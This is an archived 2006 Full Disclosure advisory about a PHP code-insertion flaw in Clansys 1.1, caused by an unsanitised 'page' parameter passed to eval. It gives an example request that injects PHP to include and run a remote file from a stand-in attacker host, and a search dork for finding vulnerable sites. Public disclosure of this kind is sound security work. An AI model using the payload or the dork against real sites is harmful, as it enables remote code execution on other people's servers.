Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
From: "Mustafa Can Bjorn IPEKCI" <nukedx () nukedx com>
Date: Mon, 24 Apr 2006 00:03:06 +0300


--Security Report--
Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 23/04/06 21:07 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx () nukedx com
Web: http://www.nukedx.com
}
---
Vendor: Clansys (http://www.clansys.de.vu/)
Version: 1.1 and prior versions must be affected.
About: Via this methods remote attacker can insert PHP code to Clansys.
The page parameter in index.php did not sanitized properly.
You can found vulnerable code at line 126 as an 
Code->
eval("?>" . $output);
<-Code
Purely nice coding isn't it?;)
Level: Highly Critical
---
How&Example: 
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE -> 
http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?
With this example remote attacker can include arbitrary PHP files..
---
Timeline:
* 23/04/2006: Vulnerability found.
* 23/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=29
---
Dorks: "ClanSys v1.1"
---
Credits: WW, str0ke , n0m3rcy and all my friends
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=29
---
PS: Corrected example

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Advisory: Clansys <= 1.1 PHP Code Insertion Vulnerability. Mustafa Can Bjorn IPEKCI (Apr 24)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]